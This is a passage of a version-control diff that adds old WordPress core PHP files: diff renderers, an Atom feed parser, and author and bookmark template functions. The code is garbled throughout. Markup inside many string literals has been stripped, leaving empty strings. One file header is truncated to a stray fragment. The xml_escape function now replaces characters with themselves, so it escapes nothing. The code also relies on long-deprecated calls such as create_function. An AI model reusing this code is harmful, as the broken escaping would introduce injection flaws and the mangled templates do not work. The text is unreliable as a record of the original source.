} else { + if ($ntrail) { + /* Create a new block with as many lines as we need + * for the trailing context. */ + $context = array_slice($edit->orig, 0, $ntrail); + $block[] = &new Text_Diff_Op_copy($context); + } + /* @todo */ + $output .= $this->_block($x0, $ntrail + $xi - $x0, + $y0, $ntrail + $yi - $y0, + $block); + $block = false; + } + } + /* Keep the copy block as the context for the next block. */ + $context = $edit->orig; + } else { + /* Don't we have any diff blocks yet? */ + if (!is_array($block)) { + /* Extract context lines from the preceding copy block. */ + $context = array_slice($context, count($context) - $nlead); + $x0 = $xi - count($context); + $y0 = $yi - count($context); + $block = array(); + if ($context) { + $block[] = &new Text_Diff_Op_copy($context); + } + } + $block[] = $edit; + } + + if ($edit->orig) { + $xi += count($edit->orig); + } + if ($edit->final) { + $yi += count($edit->final); + } + } + + if (is_array($block)) { + $output .= $this->_block($x0, $xi - $x0, + $y0, $yi - $y0, + $block); + } + + return $output . $this->_endDiff(); + } + + function _block($xbeg, $xlen, $ybeg, $ylen, &$edits) + { + $output = $this->_startBlock($this->_blockHeader($xbeg, $xlen, $ybeg, $ylen)); + + foreach ($edits as $edit) { + switch (strtolower(get_class($edit))) { + case 'text_diff_op_copy': + $output .= $this->_context($edit->orig); + break; + + case 'text_diff_op_add': + $output .= $this->_added($edit->final); + break; + + case 'text_diff_op_delete': + $output .= $this->_deleted($edit->orig); + break; + + case 'text_diff_op_change': + $output .= $this->_changed($edit->orig, $edit->final); + break; + } + } + + return $output . $this->_endBlock(); + } + + function _startDiff() + { + return ''; + } + + function _endDiff() + { + return ''; + } + + function _blockHeader($xbeg, $xlen, $ybeg, $ylen) + { + if ($xlen > 1) { + $xbeg .= ',' . ($xbeg + $xlen - 1); + } + if ($ylen > 1) { + $ybeg .= ',' . ($ybeg + $ylen - 1); + } + + // this matches the GNU Diff behaviour + if ($xlen && !$ylen) { + $ybeg--; + } elseif (!$xlen) { + $xbeg--; + } + + return $xbeg . ($xlen ? ($ylen ? 'c' : 'd') : 'a') . $ybeg; + } + + function _startBlock($header) + { + return $header . "\n"; + } + + function _endBlock() + { + return ''; + } + + function _lines($lines, $prefix = ' ') + { + return $prefix . implode("\n$prefix", $lines) . "\n"; + } + + function _context($lines) + { + return $this->_lines($lines, ' '); + } + + function _added($lines) + { + return $this->_lines($lines, '> '); + } + + function _deleted($lines) + { + return $this->_lines($lines, '< '); + } + + function _changed($orig, $final) + { + return $this->_deleted($orig) . "---\n" . $this->_added($final); + } + +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/Text/Diff/Renderer/inline.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/Text/Diff/Renderer/inline.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,172 @@ +'; + + /** + * Suffix for inserted text. + */ + var $_ins_suffix = ''; + + /** + * Prefix for deleted text. + */ + var $_del_prefix = ''; + + /** + * Suffix for deleted text. + */ + var $_del_suffix = ''; + + /** + * Header for each change block. + */ + var $_block_header = ''; + + /** + * What are we currently splitting on? Used to recurse to show word-level + * changes. + */ + var $_split_level = 'lines'; + + function _blockHeader($xbeg, $xlen, $ybeg, $ylen) + { + return $this->_block_header; + } + + function _startBlock($header) + { + return $header; + } + + function _lines($lines, $prefix = ' ', $encode = true) + { + if ($encode) { + array_walk($lines, array(&$this, '_encode')); + } + + if ($this->_split_level == 'words') { + return implode('', $lines); + } else { + return implode("\n", $lines) . "\n"; + } + } + + function _added($lines) + { + array_walk($lines, array(&$this, '_encode')); + $lines[0] = $this->_ins_prefix . $lines[0]; + $lines[count($lines) - 1] .= $this->_ins_suffix; + return $this->_lines($lines, ' ', false); + } + + function _deleted($lines, $words = false) + { + array_walk($lines, array(&$this, '_encode')); + $lines[0] = $this->_del_prefix . $lines[0]; + $lines[count($lines) - 1] .= $this->_del_suffix; + return $this->_lines($lines, ' ', false); + } + + function _changed($orig, $final) + { + /* If we've already split on words, don't try to do so again - just + * display. */ + if ($this->_split_level == 'words') { + $prefix = ''; + while ($orig[0] !== false && $final[0] !== false && + substr($orig[0], 0, 1) == ' ' && + substr($final[0], 0, 1) == ' ') { + $prefix .= substr($orig[0], 0, 1); + $orig[0] = substr($orig[0], 1); + $final[0] = substr($final[0], 1); + } + return $prefix . $this->_deleted($orig) . $this->_added($final); + } + + $text1 = implode("\n", $orig); + $text2 = implode("\n", $final); + + /* Non-printing newline marker. */ + $nl = "\0"; + + /* We want to split on word boundaries, but we need to + * preserve whitespace as well. Therefore we split on words, + * but include all blocks of whitespace in the wordlist. */ + $diff = new Text_Diff($this->_splitOnWords($text1, $nl), + $this->_splitOnWords($text2, $nl)); + + /* Get the diff in inline format. */ + $renderer = new Text_Diff_Renderer_inline(array_merge($this->getParams(), + array('split_level' => 'words'))); + + /* Run the diff and get the output. */ + return str_replace($nl, "\n", $renderer->render($diff)) . "\n"; + } + + function _splitOnWords($string, $newlineEscape = "\n") + { + // Ignore \0; otherwise the while loop will never finish. + $string = str_replace("\0", '', $string); + + $words = array(); + $length = strlen($string); + $pos = 0; + + while ($pos < $length) { + // Eat a word with any preceding whitespace. + $spaces = strspn(substr($string, $pos), " \n"); + $nextpos = strcspn(substr($string, $pos + $spaces), " \n"); + $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos)); + $pos += $spaces + $nextpos; + } + + return $words; + } + + function _encode(&$string) + { + $string = htmlspecialchars($string); + } + +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/atomlib.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/atomlib.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,354 @@ + + * @version 0.4 + * @since 2.3 + */ + +/** + * Structure that store common Atom Feed Properties + * + * @package AtomLib + */ +class AtomFeed { + /** + * Stores Links + * @var array + * @access public + */ + var $links = array(); + /** + * Stores Categories + * @var array + * @access public + */ + var $categories = array(); + /** + * Stores Entries + * + * @var array + * @access public + */ + var $entries = array(); +} + +/** + * Structure that store Atom Entry Properties + * + * @package AtomLib + */ +class AtomEntry { + /** + * Stores Links + * @var array + * @access public + */ + var $links = array(); + /** + * Stores Categories + * @var array + * @access public + */ + var $categories = array(); +} + +/** + * AtomLib Atom Parser API + * + * @package AtomLib + */ +class AtomParser { + + var $NS = 'http://www.w3.org/2005/Atom'; + var $ATOM_CONTENT_ELEMENTS = array('content','summary','title','subtitle','rights'); + var $ATOM_SIMPLE_ELEMENTS = array('id','updated','published','draft'); + + var $debug = false; + + var $depth = 0; + var $indent = 2; + var $in_content; + var $ns_contexts = array(); + var $ns_decls = array(); + var $content_ns_decls = array(); + var $content_ns_contexts = array(); + var $is_xhtml = false; + var $is_html = false; + var $is_text = true; + var $skipped_div = false; + + var $FILE = "php://input"; + + var $feed; + var $current; + + function AtomParser() { + + $this->feed = new AtomFeed(); + $this->current = null; + $this->map_attrs_func = create_function('$k,$v', 'return "$k=\"$v\"";'); + $this->map_xmlns_func = create_function('$p,$n', '$xd = "xmlns"; if(strlen($n[0])>0) $xd .= ":{$n[0]}"; return "{$xd}=\"{$n[1]}\"";'); + } + + function _p($msg) { + if($this->debug) { + print str_repeat(" ", $this->depth * $this->indent) . $msg ."\n"; + } + } + + function error_handler($log_level, $log_text, $error_file, $error_line) { + $this->error = $log_text; + } + + function parse() { + + set_error_handler(array(&$this, 'error_handler')); + + array_unshift($this->ns_contexts, array()); + + $parser = xml_parser_create_ns(); + xml_set_object($parser, $this); + xml_set_element_handler($parser, "start_element", "end_element"); + xml_parser_set_option($parser,XML_OPTION_CASE_FOLDING,0); + xml_parser_set_option($parser,XML_OPTION_SKIP_WHITE,0); + xml_set_character_data_handler($parser, "cdata"); + xml_set_default_handler($parser, "_default"); + xml_set_start_namespace_decl_handler($parser, "start_ns"); + xml_set_end_namespace_decl_handler($parser, "end_ns"); + + $this->content = ''; + + $ret = true; + + $fp = fopen($this->FILE, "r"); + while ($data = fread($fp, 4096)) { + if($this->debug) $this->content .= $data; + + if(!xml_parse($parser, $data, feof($fp))) { + trigger_error(sprintf(__('XML error: %s at line %d')."\n", + xml_error_string(xml_get_error_code($xml_parser)), + xml_get_current_line_number($xml_parser))); + $ret = false; + break; + } + } + fclose($fp); + + xml_parser_free($parser); + + restore_error_handler(); + + return $ret; + } + + function start_element($parser, $name, $attrs) { + + $tag = array_pop(split(":", $name)); + + switch($name) { + case $this->NS . ':feed': + $this->current = $this->feed; + break; + case $this->NS . ':entry': + $this->current = new AtomEntry(); + break; + }; + + $this->_p("start_element('$name')"); + #$this->_p(print_r($this->ns_contexts,true)); + #$this->_p('current(' . $this->current . ')'); + + array_unshift($this->ns_contexts, $this->ns_decls); + + $this->depth++; + + if(!empty($this->in_content)) { + + $this->content_ns_decls = array(); + + if($this->is_html || $this->is_text) + trigger_error("Invalid content in element found. Content must not be of type text or html if it contains markup."); + + $attrs_prefix = array(); + + // resolve prefixes for attributes + foreach($attrs as $key => $value) { + $with_prefix = $this->ns_to_prefix($key, true); + $attrs_prefix[$with_prefix[1]] = $this->xml_escape($value); + } + + $attrs_str = join(' ', array_map($this->map_attrs_func, array_keys($attrs_prefix), array_values($attrs_prefix))); + if(strlen($attrs_str) > 0) { + $attrs_str = " " . $attrs_str; + } + + $with_prefix = $this->ns_to_prefix($name); + + if(!$this->is_declared_content_ns($with_prefix[0])) { + array_push($this->content_ns_decls, $with_prefix[0]); + } + + $xmlns_str = ''; + if(count($this->content_ns_decls) > 0) { + array_unshift($this->content_ns_contexts, $this->content_ns_decls); + $xmlns_str .= join(' ', array_map($this->map_xmlns_func, array_keys($this->content_ns_contexts[0]), array_values($this->content_ns_contexts[0]))); + if(strlen($xmlns_str) > 0) { + $xmlns_str = " " . $xmlns_str; + } + } + + array_push($this->in_content, array($tag, $this->depth, "<". $with_prefix[1] ."{$xmlns_str}{$attrs_str}" . ">")); + + } else if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS) || in_array($tag, $this->ATOM_SIMPLE_ELEMENTS)) { + $this->in_content = array(); + $this->is_xhtml = $attrs['type'] == 'xhtml'; + $this->is_html = $attrs['type'] == 'html' || $attrs['type'] == 'text/html'; + $this->is_text = !in_array('type',array_keys($attrs)) || $attrs['type'] == 'text'; + $type = $this->is_xhtml ? 'XHTML' : ($this->is_html ? 'HTML' : ($this->is_text ? 'TEXT' : $attrs['type'])); + + if(in_array('src',array_keys($attrs))) { + $this->current->$tag = $attrs; + } else { + array_push($this->in_content, array($tag,$this->depth, $type)); + } + } else if($tag == 'link') { + array_push($this->current->links, $attrs); + } else if($tag == 'category') { + array_push($this->current->categories, $attrs); + } + + $this->ns_decls = array(); + } + + function end_element($parser, $name) { + + $tag = array_pop(split(":", $name)); + + $ccount = count($this->in_content); + + # if we are *in* content, then let's proceed to serialize it + if(!empty($this->in_content)) { + # if we are ending the original content element + # then let's finalize the content + if($this->in_content[0][0] == $tag && + $this->in_content[0][1] == $this->depth) { + $origtype = $this->in_content[0][2]; + array_shift($this->in_content); + $newcontent = array(); + foreach($this->in_content as $c) { + if(count($c) == 3) { + array_push($newcontent, $c[2]); + } else { + if($this->is_xhtml || $this->is_text) { + array_push($newcontent, $this->xml_escape($c)); + } else { + array_push($newcontent, $c); + } + } + } + if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS)) { + $this->current->$tag = array($origtype, join('',$newcontent)); + } else { + $this->current->$tag = join('',$newcontent); + } + $this->in_content = array(); + } else if($this->in_content[$ccount-1][0] == $tag && + $this->in_content[$ccount-1][1] == $this->depth) { + $this->in_content[$ccount-1][2] = substr($this->in_content[$ccount-1][2],0,-1) . "/>"; + } else { + # else, just finalize the current element's content + $endtag = $this->ns_to_prefix($name); + array_push($this->in_content, array($tag, $this->depth, "")); + } + } + + array_shift($this->ns_contexts); + + $this->depth--; + + if($name == ($this->NS . ':entry')) { + array_push($this->feed->entries, $this->current); + $this->current = null; + } + + $this->_p("end_element('$name')"); + } + + function start_ns($parser, $prefix, $uri) { + $this->_p("starting: " . $prefix . ":" . $uri); + array_push($this->ns_decls, array($prefix,$uri)); + } + + function end_ns($parser, $prefix) { + $this->_p("ending: #" . $prefix . "#"); + } + + function cdata($parser, $data) { + $this->_p("data: #" . str_replace(array("\n"), array("\\n"), trim($data)) . "#"); + if(!empty($this->in_content)) { + array_push($this->in_content, $data); + } + } + + function _default($parser, $data) { + # when does this gets called? + } + + + function ns_to_prefix($qname, $attr=false) { + # split 'http://www.w3.org/1999/xhtml:div' into ('http','//www.w3.org/1999/xhtml','div') + $components = split(":", $qname); + + # grab the last one (e.g 'div') + $name = array_pop($components); + + if(!empty($components)) { + # re-join back the namespace component + $ns = join(":",$components); + foreach($this->ns_contexts as $context) { + foreach($context as $mapping) { + if($mapping[1] == $ns && strlen($mapping[0]) > 0) { + return array($mapping, "$mapping[0]:$name"); + } + } + } + } + + if($attr) { + return array(null, $name); + } else { + foreach($this->ns_contexts as $context) { + foreach($context as $mapping) { + if(strlen($mapping[0]) == 0) { + return array($mapping, $name); + } + } + } + } + } + + function is_declared_content_ns($new_mapping) { + foreach($this->content_ns_contexts as $context) { + foreach($context as $mapping) { + if($new_mapping == $mapping) { + return true; + } + } + } + return false; + } + + function xml_escape($string) + { + return str_replace(array('&','"',"'",'<','>'), + array('&','"',''','<','>'), + $string ); + } +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/author-template.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/author-template.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,342 @@ +display_name : null); +} + +/** + * Display the name of the author of the current post. + * + * The behavior of this function is based off of old functionality predating + * get_the_author(). This function is not deprecated, but is designed to echo + * the value from get_the_author() and as an result of any old theme that might + * still use the old behavior will also pass the value from get_the_author(). + * + * The normal, expected behavior of this function is to echo the author and not + * return it. However, backwards compatiability has to be maintained. + * + * @since 0.71 + * @see get_the_author() + * @link http://codex.wordpress.org/Template_Tags/the_author + * + * @param string $deprecated Deprecated. + * @param string $deprecated_echo Echo the string or return it. + * @return string The author's display name, from get_the_author(). + */ +function the_author($deprecated = '', $deprecated_echo = true) { + if ( $deprecated_echo ) + echo get_the_author(); + return get_the_author(); +} + +/** + * Retrieve the author who last edited the current post. + * + * @since 2.8 + * @uses $post The current post's DB object. + * @uses get_post_meta() Retrieves the ID of the author who last edited the current post. + * @uses get_userdata() Retrieves the author's DB object. + * @uses apply_filters() Calls 'the_modified_author' hook on the author display name. + * @return string The author's display name. + */ +function get_the_modified_author() { + global $post; + if ( $last_id = get_post_meta($post->ID, '_edit_last', true) ) { + $last_user = get_userdata($last_id); + return apply_filters('the_modified_author', $last_user->display_name); + } +} + +/** + * Display the name of the author who last edited the current post. + * + * @since 2.8 + * @see get_the_author() + * @return string The author's display name, from get_the_modified_author(). + */ +function the_modified_author() { + echo get_the_modified_author(); +} + +/** + * Retrieve the requested data of the author of the current post. + * @link http://codex.wordpress.org/Template_Tags/the_author_meta + * @since 2.8.0 + * @uses $authordata The current author's DB object (if $user_id not specified). + * @param string $field selects the field of the users record. + * @param int $user_id Optional. User ID. + * @return string The author's field from the current author's DB object. + */ +function get_the_author_meta($field = '', $user_id = false) { + if ( ! $user_id ) + global $authordata; + else + $authordata = get_userdata( $user_id ); + + $field = strtolower($field); + $user_field = "user_$field"; + + if ( 'id' == $field ) + $value = isset($authordata->ID) ? (int)$authordata->ID : 0; + elseif ( isset($authordata->$user_field) ) + $value = $authordata->$user_field; + else + $value = isset($authordata->$field) ? $authordata->$field : ''; + + return apply_filters('get_the_author_' . $field, $value, $user_id); +} + +/** + * Retrieve the requested data of the author of the current post. + * @link http://codex.wordpress.org/Template_Tags/the_author_meta + * @since 2.8.0 + * @param string $field selects the field of the users record. + * @param int $user_id Optional. User ID. + * @echo string The author's field from the current author's DB object. + */ +function the_author_meta($field = '', $user_id = false) { + echo apply_filters('the_author_' . $field, get_the_author_meta($field, $user_id), $user_id); +} + +/** + * Display either author's link or author's name. + * + * If the author has a home page set, echo an HTML link, otherwise just echo the + * author's name. + * + * @link http://codex.wordpress.org/Template_Tags/the_author_link + * @since 2.1 + * @uses get_the_author_meta() + * @uses the_author() + */ +function the_author_link() { + if ( get_the_author_meta('url') ) { + echo '' . get_the_author() . ''; + } else { + the_author(); + } +} + +/** + * Retrieve the number of posts by the author of the current post. + * + * @since 1.5 + * @uses $post The current post in the Loop's DB object. + * @uses get_usernumposts() + * @return int The number of posts by the author. + */ +function get_the_author_posts() { + global $post; + return get_usernumposts($post->post_author); +} + +/** + * Display the number of posts by the author of the current post. + * + * @link http://codex.wordpress.org/Template_Tags/the_author_posts + * @since 0.71 + * @uses get_the_author_posts() Echos returned value from function. + */ +function the_author_posts() { + echo get_the_author_posts(); +} + +/** + * Display an HTML link to the author page of the author of the current post. + * + * Does just echo get_author_posts_url() function, like the others do. The + * reason for this, is that another function is used to help in printing the + * link to the author's posts. + * + * @link http://codex.wordpress.org/Template_Tags/the_author_posts_link + * @since 1.2.0 + * @uses $authordata The current author's DB object. + * @uses get_author_posts_url() + * @uses get_the_author() + * @param string $deprecated Deprecated. + */ +function the_author_posts_link($deprecated = '') { + global $authordata; + $link = sprintf( + '%3$s', + get_author_posts_url( $authordata->ID, $authordata->user_nicename ), + esc_attr( sprintf( __( 'Posts by %s' ), get_the_author() ) ), + get_the_author() + ); + echo apply_filters( 'the_author_posts_link', $link ); +} + +/** + * Retrieve the URL to the author page of the author of the current post. + * + * @since 2.1.0 + * @uses $wp_rewrite WP_Rewrite + * @return string The URL to the author's page. + */ +function get_author_posts_url($author_id, $author_nicename = '') { + global $wp_rewrite; + $auth_ID = (int) $author_id; + $link = $wp_rewrite->get_author_permastruct(); + + if ( empty($link) ) { + $file = get_option('home') . '/'; + $link = $file . '?author=' . $auth_ID; + } else { + if ( '' == $author_nicename ) { + $user = get_userdata($author_id); + if ( !empty($user->user_nicename) ) + $author_nicename = $user->user_nicename; + } + $link = str_replace('%author%', $author_nicename, $link); + $link = get_option('home') . trailingslashit($link); + } + + $link = apply_filters('author_link', $link, $author_id, $author_nicename); + + return $link; +} + +/** + * List all the authors of the blog, with several options available. + * + *
      + *
    • optioncount (boolean) (false): Show the count in parenthesis next to the + * author's name.
    • + *
    • exclude_admin (boolean) (true): Exclude the 'admin' user that is + * installed bydefault.
    • + *
    • show_fullname (boolean) (false): Show their full names.
    • + *
    • hide_empty (boolean) (true): Don't show authors without any posts.
    • + *
    • feed (string) (''): If isn't empty, show links to author's feeds.
    • + *
    • feed_image (string) (''): If isn't empty, use this image to link to + * feeds.
    • + *
    • echo (boolean) (true): Set to false to return the output, instead of + * echoing.
    • + *
    • style (string) ('list'): Whether to display list of authors in list form + * or as a string.
    • + *
    • html (bool) (true): Whether to list the items in html for or plaintext. + *
    • + *
    + * + * @link http://codex.wordpress.org/Template_Tags/wp_list_authors + * @since 1.2.0 + * @param array $args The argument array. + * @return null|string The output, if echo is set to false. + */ +function wp_list_authors($args = '') { + global $wpdb; + + $defaults = array( + 'optioncount' => false, 'exclude_admin' => true, + 'show_fullname' => false, 'hide_empty' => true, + 'feed' => '', 'feed_image' => '', 'feed_type' => '', 'echo' => true, + 'style' => 'list', 'html' => true + ); + + $r = wp_parse_args( $args, $defaults ); + extract($r, EXTR_SKIP); + $return = ''; + + /** @todo Move select to get_authors(). */ + $authors = $wpdb->get_results("SELECT ID, user_nicename from $wpdb->users " . ($exclude_admin ? "WHERE user_login <> 'admin' " : '') . "ORDER BY display_name"); + + $author_count = array(); + foreach ((array) $wpdb->get_results("SELECT DISTINCT post_author, COUNT(ID) AS count FROM $wpdb->posts WHERE post_type = 'post' AND " . get_private_posts_cap_sql( 'post' ) . " GROUP BY post_author") as $row) { + $author_count[$row->post_author] = $row->count; + } + + foreach ( (array) $authors as $author ) { + + $link = ''; + + $author = get_userdata( $author->ID ); + $posts = (isset($author_count[$author->ID])) ? $author_count[$author->ID] : 0; + $name = $author->display_name; + + if ( $show_fullname && ($author->first_name != '' && $author->last_name != '') ) + $name = "$author->first_name $author->last_name"; + + if( !$html ) { + if ( $posts == 0 ) { + if ( ! $hide_empty ) + $return .= $name . ', '; + } else + $return .= $name . ', '; + + // No need to go further to process HTML. + continue; + } + + if ( !($posts == 0 && $hide_empty) && 'list' == $style ) + $return .= '
  • '; + if ( $posts == 0 ) { + if ( ! $hide_empty ) + $link = $name; + } else { + $link = 'display_name) ) . '">' . $name . ''; + + if ( (! empty($feed_image)) || (! empty($feed)) ) { + $link .= ' '; + if (empty($feed_image)) + $link .= '('; + $link .= ''; + else + $link .= $name; + + $link .= ''; + + if ( empty($feed_image) ) + $link .= ')'; + } + + if ( $optioncount ) + $link .= ' ('. $posts . ')'; + + } + + if ( !($posts == 0 && $hide_empty) && 'list' == $style ) + $return .= $link . '
  • '; + else if ( ! $hide_empty ) + $return .= $link . ', '; + } + + $return = trim($return, ', '); + + if ( ! $echo ) + return $return; + echo $return; +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/bookmark-template.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/bookmark-template.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,254 @@ +' (string). The html or text to prepend to each + * bookmarks. + * 'after' - Default is '' (string). The html or text to append to each + * bookmarks. + * 'link_before' - Default is '' (string). The html or text to prepend to each + * bookmarks inside the tag. + * 'link_after' - Default is '' (string). The html or text to append to each + * bookmarks inside the tag. + * 'between' - Default is '\n' (string). The string for use in between the link, + * description, and image. + * 'show_rating' - Default is 0 (integer). Whether to show the link rating. + * + * @since 2.1.0 + * @access private + * @usedby wp_list_bookmarks() + * + * @param array $bookmarks List of bookmarks to traverse + * @param string|array $args Optional. Overwrite the defaults. + * @return string Formatted output in HTML + */ +function _walk_bookmarks($bookmarks, $args = '' ) { + $defaults = array( + 'show_updated' => 0, 'show_description' => 0, + 'show_images' => 1, 'show_name' => 0, + 'before' => '
  • ', 'after' => '
  • ', 'between' => "\n", + 'show_rating' => 0, 'link_before' => '', 'link_after' => '' + ); + + $r = wp_parse_args( $args, $defaults ); + extract( $r, EXTR_SKIP ); + + $output = ''; // Blank string to start with. + + foreach ( (array) $bookmarks as $bookmark ) { + if ( !isset($bookmark->recently_updated) ) + $bookmark->recently_updated = false; + $output .= $before; + if ( $show_updated && $bookmark->recently_updated ) + $output .= get_option('links_recently_updated_prepend'); + + $the_link = '#'; + if ( !empty($bookmark->link_url) ) + $the_link = esc_url($bookmark->link_url); + + $desc = esc_attr(sanitize_bookmark_field('link_description', $bookmark->link_description, $bookmark->link_id, 'display')); + $name = esc_attr(sanitize_bookmark_field('link_name', $bookmark->link_name, $bookmark->link_id, 'display')); + $title = $desc; + + if ( $show_updated ) + if ( '00' != substr($bookmark->link_updated_f, 0, 2) ) { + $title .= ' ('; + $title .= sprintf(__('Last updated: %s'), date(get_option('links_updated_date_format'), $bookmark->link_updated_f + (get_option('gmt_offset') * 3600))); + $title .= ')'; + } + + $alt = ' alt="' . $name . ( $show_description ? ' ' . $title : '' ) . '"'; + + if ( '' != $title ) + $title = ' title="' . $title . '"'; + + $rel = $bookmark->link_rel; + if ( '' != $rel ) + $rel = ' rel="' . esc_attr($rel) . '"'; + + $target = $bookmark->link_target; + if ( '' != $target ) + $target = ' target="' . $target . '"'; + + $output .= '
    '; + + $output .= $link_before; + + if ( $bookmark->link_image != null && $show_images ) { + if ( strpos($bookmark->link_image, 'http') === 0 ) + $output .= "link_image\" $alt $title />"; + else // If it's a relative path + $output .= "link_image\" $alt $title />"; + + if ( $show_name ) + $output .= " $name"; + } else { + $output .= $name; + } + + $output .= $link_after; + + $output .= ''; + + if ( $show_updated && $bookmark->recently_updated ) + $output .= get_option('links_recently_updated_append'); + + if ( $show_description && '' != $desc ) + $output .= $between . $desc; + + if ( $show_rating ) + $output .= $between . sanitize_bookmark_field('link_rating', $bookmark->link_rating, $bookmark->link_id, 'display'); + + $output .= "$after\n"; + } // end while + + return $output; +} + +/** + * Retrieve or echo all of the bookmarks. + * + * List of default arguments are as follows: + * 'orderby' - Default is 'name' (string). How to order the links by. String is + * based off of the bookmark scheme. + * 'order' - Default is 'ASC' (string). Either 'ASC' or 'DESC'. Orders in either + * ascending or descending order. + * 'limit' - Default is -1 (integer) or show all. The amount of bookmarks to + * display. + * 'category' - Default is empty string (string). Include the links in what + * category ID(s). + * 'category_name' - Default is empty string (string). Get links by category + * name. + * 'hide_invisible' - Default is 1 (integer). Whether to show (default) or hide + * links marked as 'invisible'. + * 'show_updated' - Default is 0 (integer). Will show the time of when the + * bookmark was last updated. + * 'echo' - Default is 1 (integer). Whether to echo (default) or return the + * formatted bookmarks. + * 'categorize' - Default is 1 (integer). Whether to show links listed by + * category (default) or show links in one column. + * + * These options define how the Category name will appear before the category + * links are displayed, if 'categorize' is 1. If 'categorize' is 0, then it will + * display for only the 'title_li' string and only if 'title_li' is not empty. + * 'title_li' - Default is 'Bookmarks' (translatable string). What to show + * before the links appear. + * 'title_before' - Default is '

    ' (string). The HTML or text to show before + * the 'title_li' string. + * 'title_after' - Default is '

    ' (string). The HTML or text to show after + * the 'title_li' string. + * 'class' - Default is 'linkcat' (string). The CSS class to use for the + * 'title_li'. + * + * 'category_before' - Default is '
  • '. String must + * contain '%id' and '%class' to get + * the id of the category and the 'class' argument. These are used for + * formatting in themes. + * Argument will be displayed before the 'title_before' argument. + * 'category_after' - Default is '
  • ' (string). The HTML or text that will + * appear after the list of links. + * + * These are only used if 'categorize' is set to 1 or true. + * 'category_orderby' - Default is 'name'. How to order the bookmark category + * based on term scheme. + * 'category_order' - Default is 'ASC'. Set the order by either ASC (ascending) + * or DESC (descending). + * + * @see _walk_bookmarks() For other arguments that can be set in this function + * and passed to _walk_bookmarks(). + * @see get_bookmarks() For other arguments that can be set in this function and + * passed to get_bookmarks(). + * @link http://codex.wordpress.org/Template_Tags/wp_list_bookmarks + * + * @since 2.1.0 + * @uses _list_bookmarks() Used to iterate over all of the bookmarks and return + * the html + * @uses get_terms() Gets all of the categories that are for links. + * + * @param string|array $args Optional. Overwrite the defaults of the function + * @return string|null Will only return if echo option is set to not echo. + * Default is not return anything. + */ +function wp_list_bookmarks($args = '') { + $defaults = array( + 'orderby' => 'name', 'order' => 'ASC', + 'limit' => -1, 'category' => '', 'exclude_category' => '', + 'category_name' => '', 'hide_invisible' => 1, + 'show_updated' => 0, 'echo' => 1, + 'categorize' => 1, 'title_li' => __('Bookmarks'), + 'title_before' => '

    ', 'title_after' => '

    ', + 'category_orderby' => 'name', 'category_order' => 'ASC', + 'class' => 'linkcat', 'category_before' => '
  • ', + 'category_after' => '
  • ' + ); + + $r = wp_parse_args( $args, $defaults ); + extract( $r, EXTR_SKIP ); + + $output = ''; + + if ( $categorize ) { + //Split the bookmarks into ul's for each category + $cats = get_terms('link_category', array('name__like' => $category_name, 'include' => $category, 'exclude' => $exclude_category, 'orderby' => $category_orderby, 'order' => $category_order, 'hierarchical' => 0)); + + foreach ( (array) $cats as $cat ) { + $params = array_merge($r, array('category'=>$cat->term_id)); + $bookmarks = get_bookmarks($params); + if ( empty($bookmarks) ) + continue; + $output .= str_replace(array('%id', '%class'), array("linkcat-$cat->term_id", $class), $category_before); + $catname = apply_filters( "link_category", $cat->name ); + $output .= "$title_before$catname$title_after\n\t
      \n"; + $output .= _walk_bookmarks($bookmarks, $r); + $output .= "\n\t
    \n$category_after\n"; + } + } else { + //output one single list using title_li for the title + $bookmarks = get_bookmarks($r); + + if ( !empty($bookmarks) ) { + if ( !empty( $title_li ) ){ + $output .= str_replace(array('%id', '%class'), array("linkcat-$category", $class), $category_before); + $output .= "$title_before$title_li$title_after\n\t
      \n"; + $output .= _walk_bookmarks($bookmarks, $r); + $output .= "\n\t
    \n$category_after\n"; + } else { + $output .= _walk_bookmarks($bookmarks, $r); + } + } + } + + $output = apply_filters( 'wp_list_bookmarks', $output ); + + if ( !$echo ) + return $output; + echo $output; +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/bookmark.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/bookmark.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,376 @@ +link_id, $bookmark, 'bookmark'); + $_bookmark = $bookmark; + } else { + if ( isset($GLOBALS['link']) && ($GLOBALS['link']->link_id == $bookmark) ) { + $_bookmark = & $GLOBALS['link']; + } elseif ( ! $_bookmark = wp_cache_get($bookmark, 'bookmark') ) { + $_bookmark = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->links WHERE link_id = %d LIMIT 1", $bookmark)); + $_bookmark->link_category = array_unique( wp_get_object_terms($_bookmark->link_id, 'link_category', 'fields=ids') ); + wp_cache_add($_bookmark->link_id, $_bookmark, 'bookmark'); + } + } + + $_bookmark = sanitize_bookmark($_bookmark, $filter); + + if ( $output == OBJECT ) { + return $_bookmark; + } elseif ( $output == ARRAY_A ) { + return get_object_vars($_bookmark); + } elseif ( $output == ARRAY_N ) { + return array_values(get_object_vars($_bookmark)); + } else { + return $_bookmark; + } +} + +/** + * Retrieve single bookmark data item or field. + * + * @since 2.3.0 + * @uses get_bookmark() Gets bookmark object using $bookmark as ID + * @uses sanitize_bookmark_field() Sanitizes Bookmark field based on $context. + * + * @param string $field The name of the data field to return + * @param int $bookmark The bookmark ID to get field + * @param string $context Optional. The context of how the field will be used. + * @return string + */ +function get_bookmark_field( $field, $bookmark, $context = 'display' ) { + $bookmark = (int) $bookmark; + $bookmark = get_bookmark( $bookmark ); + + if ( is_wp_error($bookmark) ) + return $bookmark; + + if ( !is_object($bookmark) ) + return ''; + + if ( !isset($bookmark->$field) ) + return ''; + + return 